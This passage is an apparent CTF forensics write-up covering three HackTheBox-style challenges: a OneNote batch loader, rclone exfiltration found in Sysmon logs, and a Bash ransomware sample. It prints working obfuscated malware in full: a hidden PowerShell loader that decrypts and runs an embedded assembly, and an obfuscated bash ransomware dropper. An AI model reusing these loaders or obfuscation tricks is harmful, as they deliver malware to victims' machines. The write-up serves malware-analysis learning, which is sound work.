1.0powershell.exe /y execd exe -noprofile -windowstyle hidden -ep bypass -command $eIfqq = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('%~f0').Split([Environment]::NewLine);foreach ($YiLGW in $eIfqq) { if ($YiLGW.StartsWith(':: ')) { $VuGcO = $YiLGW.Substring(3); break; }; };$uZOcm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($VuGcO);$BacUA = New-Object System.Security.Cryptography.AesManaged;$BacUA.Mode = [System.Security.Cryptography.CipherMode]::CBC;$BacUA.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$BacUA.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0xdfc6tTBkD+M0zxU7egGVErAsa/NtkVIHXeHDUiW20=');$BacUA.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2hn/J717js1MwdbbqMn7Lw==');$Nlgap = $BacUA.CreateDecryptor();$uZOcm = $Nlgap.TransformFinalBlock($uZOcm, 0, $uZOcm.Length);$Nlgap.Dispose();$BacUA.Dispose();$mNKMr = New-Object System.IO.MemoryStream(, $uZOcm);$bTMLk = New-Object System.IO.MemoryStream;$NVPbn = New-Object System.IO.Compression.GZipStream($mNKMr, [IO.Compression.CompressionMode]::Decompress);$NVPbn.CopyTo($bTMLk);$NVPbn.Dispose();$mNKMr.Dispose();$bTMLk.Dispose();$uZOcm = $bTMLk.ToArray();$gDBNO = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($uZOcm);$PtfdQ = $gDBNO.EntryPoint;$PtfdQ.Invoke($null, (, [string[]] ('%*')))

Short analysis on the script’s intention:

Step 1: Initiates AES decryptor using CBC mode, PKCS7 padding mode, key and IV given.
Step 2: Decrypts the encrypted payload (via Window.bat) using the above settings.
Step 3: Decompresses GZip, then run the output as a binary.

We can use this Python script below to get the binary that I have stated in step 3 above.

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import base64
import gzip


key = base64.b64decode('0xdfc6tTBkD+M0zxU7egGVErAsa/NtkVIHXeHDUiW20=')
iv = base64.b64decode('2hn/J717js1MwdbbqMn7Lw==')

encrypted_message = base64.b64decode('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')
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted_message = cipher.decrypt(encrypted_message)
decrypted_message = unpad(decrypted_message, 16)

decrypted_message = gzip.decompress(decrypted_message)

io = open('E:/Downloads/out', 'wb')
io.write(decrypted_message)

As a result, we get this binary.

I also double-checked using Detect It Easy (DIE) to see if it is a valid executable or not.

Voilà, we get the executable! I used dnSpy to read the code of the binary. Turned out, the flag is right there to be seen!

Flag is: HTB{0neN0Te?_iT'5_4_tr4P!}

Packet Cyclone

Given file: Get it here!
Description: Pandora’s friend and partner, Wade, is the one that leads the investigation into the relic’s location. Recently, he noticed some weird traffic coming from his host. That led him to believe that his host was compromised. After a quick investigation, his fear was confirmed. Pandora tries now to see if the attacker caused the suspicious traffic during the exfiltration phase. Pandora believes that the malicious actor used rclone to exfiltrate Wade’s research to the cloud. Using the tool called “chainsaw” and the sigma rules provided, can you detect the usage of rclone from the event logs produced by Sysmon? To get the flag, you need to start and connect to the docker service and answer all the questions correctly.
Note: This challenge had a docker but it might be closed at the time you are reading this. All needed files will be given in the write-ups.
Category: Forensics
Difficulty: Easy

To get the flag, we need to answer these five question correctly:

1.What is the email of the attacker used for the exfiltration process? (for example: name@email.com)

In the file given, there are 2 YAML files. In these files there is a link which is about detecting Rclone. We can follow what they do to answer our questions.

To find the email, i opened Sysmon Operational event log and looked around the events. Then i found this:

This event will help us to answer first four questions.

Answer: majmeret@protonmail.com

2. What is the password of the attacker used for the exfiltration process?

Answer: FBMeavdiaFZbWzpMqIVhJCGXZ5XXZI1qsU3EjhoKQw0rEoQqHyI

3. What is the Cloud storage provider used by the attacker?

Answer: mega

4. What is the ID of the process used by the attackers to configure their tool?

Answer: 3820

5. What is the name of the folder the attacker exfiltrated; provide the full path.

After reading the link mentioned above, we know that the attacker used command .rclone.exe copy E: remote:data to begin exfiltrated. Hence, I searched for the event that mentions rclone.exe.

Answer: C:\Users\Wade\Desktop\Relic_location

Flag is: HTB{3v3n_3xtr4t3rr3str14l_B31nGs_us3_Rcl0n3_n0w4d4ys}

Bashic Ransomware

Given file: Get it here!
Description: The aliens are gathering their best malware developers to stop Pandora from using the relic to her advantage. They relieved their ancient ransomware techniques hidden for years in ancient tombs of their ancestors. The developed ransomware has now infected Linux servers known to be used by Pandora. The ransom is the relic. If Pandora returns the relic, then her files will be decrypted. Can you help Pandora decrypt her files and save the relic?
Category: Forensics
Difficulty: Hard

We were given four files, including one encrypted flag file, a pcap file and a mem file with their volatility profile which is the zip file.

1. Pcap file

Looking at the pcap file, we can see a long base64 string, i decoded it and get:

gH4="Ed";kM0="xSz";c="ch";L="4";rQW="";fE1="lQ";s=" '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rFWesZlWLh3aNZUOH1ERS52QJhWVahlUWlVMadUZ0RWRX9kUwU1V1U1TXpVRhtEcupFdCFjUVVzVTtkRUVWekZUZDRWMZBHZxQFUCNTUGpkRiJHZFFGM0NVZtplRkNVODdlbWdVUVB3dTFzdHJWWsdVT0oURiNlVGZlNatGVrpUVUBzYsFmMjhkTTxGMhZjQE1UY0dlYzh3RhRTWUZlM4V0UYVzaZVFcrlFWkpnUIhnMiJHbtlVNjZUZoZUbUt0aGJ1MOhkV5dWMSBnRUdlcVh0VZlzUkNHctRWN4IDVvp0VTllWupVNnpHTXJlbTlkTrVFbGJjYZp0aURTTsNFN0JzSOxmRNlXVsJGeOZlUyUkbjBDasNUMsdkWyFkaTdnVtp1dB5WTYp1RahnUtlFbOVkU1xWbTdVOVZlSORlYrJVRlpkU65EWOhlTzIEWaZXMHJmcnd0TCh2aWpXQuFVVxs2YRZVRNRkVVJlRwdGVwQmRUVnWEFGeVRlWrZEVlhmVyklRkNDZ1kkbTNjVyoldoREZRxGMhRTVwolSopXU2hGWidlRzEWMOVkV0okMhplWVVlRk5WWoZEMWlkUysESstWYLNGRlVEasRmWCNDZhRmaOFTS6pld0IzY2YlRlhXU6xERCpWWxolVhNlQzEWaCpHZTlzQSNlTwMlQGBjWZxWVVJkVXNlUGVkUKRWbSZEbwQGRsBTYu50aDdFbxolQoBjWS5URUZFZYFVasBDZydGbjVzaxElVk1mVwpkRjJnSH10MKFDTxZVVRpEbrpVcGxGV0Jkek5kWqd1VGZVVKRWMaVkRwMlRkhlUGJleZJEcnNlMRtWWvVzaNlmTY5UNG1WYHRWVZJkRq1UawhlTYxmVlRjUVNVMZxWTUJFWPlXTXR2RxclVrZEbZJkRVJlUWVVU0AzVOFHZU5ESOdlYzU1aZJFbYV1SzVUTYlzahdnSVNmasxWV2RXbRhHOTNmQ1cVW6t2MMVlV6tUYkh0Vrp1VXFFdHRmevZVV4N3VNJTWHVmR5U1YyRmaUJEZERFeNFDVDpkaWBDaqN2Qat2Q4tmVkZXNrFlRoNDVMpkMUtmTuNlQKVVT0MmeTtmRsJlWS1mYNpEWXhXRsFmVxU1VaxWVT5WOD5ESCpnYGpVVSBVNF5ETsV0TUJFVTRzZE9ENVd0Tx82dNBzYU5kcJ5GZ5d3VihXVz0EdCRFZvJFSjZEaXRGcahkV2gmRi1mRwE2dZ1WUwJEWOpmSrNmM4UkT2p1VZ9EZIdVWONDZzIEWS9mRWNGMnRlVth3aNt0bI1EW0l3UrhWRkZXSuRWU41mVHljMMhmWGR1b01WU6h2ROVFZHNVbwJTVL5UbOZVODNmeWVUVHpFWZVjTVFlUsNjWPxGVjBDazYVMNVVZUx2MVlGbsNEeS1WVWhHMWlFeVJmQOhVYtx2VNdXUwQmd0ADTTZ0MjNHZV1EaGJjWzYFRONTT6RmWSh1VUZURa9kSqVlcFhVUpJEWaREbIVmesBTTuZkeZdFbFJGawFlTJh3aXVDbXNlVOxGVwUVVjpXSW10cONDZSx2aUVkT6ZldBRUYyg2VTJTREJFNvZ0YHZlVPtGdH1Uc1IDTVp1aSRDbYdVY0tmWZRGWZVkRw4EMjR1YLl1MOllTFNWNwdkWNlTeNlnTU50VwVUT0kjMLhkTWd1MnpWT6RWMWBlWrZVMFNTU2lEbiJDdH9Uc0lWYEhWRhRTRG5EdGVkTuxmVlBDa6tkMOR1UpZ1aDNDcyE1RkBjY5NHMN1EetJVWaBTVsZURPdXV6p1MsNjUIZEbR5kWwMWRshVY1JkbW5kRuFWYOpmV2YVVSpEbEJFWSVVUFpEMjZXRUlVUktWUPRWVVRHcnNEdwMFT0BTeTRUOFR1QCN1VGRXRJREbFR1QWZUVnFUMSFlQpRlSkVlUDFzUMRHMTxkI9oGZPl3MLdzb0UmV5pGb0lgC7BSKo0UW6RnYzR1Q2YkTYF0M3gHSNZUdKg2chJ2LulmYvEyI
' | r";HxJ="s";Hc2="";f="as";kcE="pas";cEf="ae";d="o";V9z="6";P8c="if";U=" -d";Jc="ef";N0q="";v="b";w="e";b="v |";Tx="Eds";xZp=""
x=$(eval "$Hc2$w$c$rQW$d$s$w$b$Hc2$v$xZp$f$w$V9z$rQW$L$U$xZp")
eval "$N0q$x$Hc2$rQW"

After using python to concat these strings, I got a base64 string, decoded it and I got a bash script:

#!/bin/bash
uFMHx73AXNF6CTsbtzYM() {
 tljyVe4o7K3yOdj="LS0tLS1CRUdJTiBQR1AgUFVCTElDIEtFWSBCTE9DSy0tLS0tCgptUUdOQkdQYTEvc0JEQURXRDlJRUV6VjNaanFNVnBuaXlEc0ZNQlFHR3l3ZzUwOEFlU0ZYRmxMM0syb0dGQ2p3CkViSTN2Kzh0eVlnNEFtNFE4aEhDaitqOGt2blIvQ3E1VkZPV1dzMjg3WVNHK294MEpWNTNyMy9MZGp5cENYN3YKcTc0N0FEYXdYZktaWXl4RkZUL25qMGtkOVVGcFo4RDE2SWh2aDAvVzNETklRd3NsMVIzcUU0TlNVSWl5WkxINQphbElWYzFnM0lzeHlDZXBiQXErUjJOZEFTWXRZdzM3NDV3Z2FhMUdsc3FSL04vd0QwMWlmaXNBbUxYV0xVUmRxClliU3lTeUM1V3h0cTlOZ3lRQUN5YXZGUEVzcC9VNmNKU2pmSGdUNGhzQmtoTFZhL29GVmxQdnIvdEhkSytXMHoKMkxmVTg0cVFoRXB3d3NYWHdOYWZvNE82ckJjNXBpQmYwa0FmbFh6VHZpdWhFcHRodTBtM3UxbWwydnIrNTc0Mwo1OGU4ODg4STRTOElLNE5PRUZFbzBHNC9nSUlZWU1ValExWXJMbmRZRlFkSzc4MUJBSnNkT2JLT3hFQk5vdVkxCkZCcjh0VjJCT1MxTDdBTjdrcU9FeGY2MWsxUVozdGtQWWZkWHdaKzVUL3kzYW5BcS8xQmtvUlljcUJwak9XMEsKUXlRYkU3bWNHNTdqNW04QUVRRUFBYlFkVW1GdWMyOXRTMlY1SUR4eVlXNXpiMjFBYUdGamF5NXNiMk5oYkQ2SgpBYzRFRXdFS0FEZ1dJUVFWWjZNdzBtTlFqZklJQUVqL1J3MGJrcFJpVmdVQ1k5clgrd0liQXdVTENRZ0hBZ1lWCkNna0lDd0lFRmdJREFRSWVBUUlYZ0FBS0NSRC9SdzBia3BSaVZ1YjBDLzQxeFV6c24vZzI1Njdad3BZdlhEeDcKaklHK2RIV0FhYndFUUZZa2J4VEN1a3FWbXhvQzhJZ0U4a0lQdDhvZ2V3SnI5d3dFY2VheTFkZTUxaDZuTFd0TgpFRUVDMEVQck1UQnAzVkhBOGgrbG1vZXB3NXNXNzRJeERkbTNJVU9WSmluRENlYmRxZGZXMnAwZmVwSjArZGl1Clh0cnE2RVNxblUyMFlNK2t4SlM4TkJYb2FlUkNISnRWLzg5ZnZYSWJoT285dmpsdS9YWHUrWTFpR1gyVHN3RFkKTmFheFc5Ymlrb2xHRzdXYkpUYk5XSEx2VTY4aGxsbWtaMDB6a0lSNHc2alc0TUJkTkZ6VFVSbEJ4MWlYbGw1SwpUQWVnWC9SdFZmeSt0aEdrbFJFQ3BPT1dpY1dCeFdyeTFKSW5UR1BtZnpKaEZWOU5WU0ROWEdteGZ1YVRXZUhICnRDMG9FMkxKZVlyakRNV0xnR0VXTERMYlhDdURtZXo1M0dwSjN2MHlGckplNGkyZVI1Z0x1OG9UNWlaV0xDNnYKMzdQeVc3bXYyeHZQNGNlZExZdk1CMVZ1UlBuSW01T1U2UjJtelNHQS8zNnBKWHhYU3RjY01JamJ5dDNUbFNxbAordHJyQ2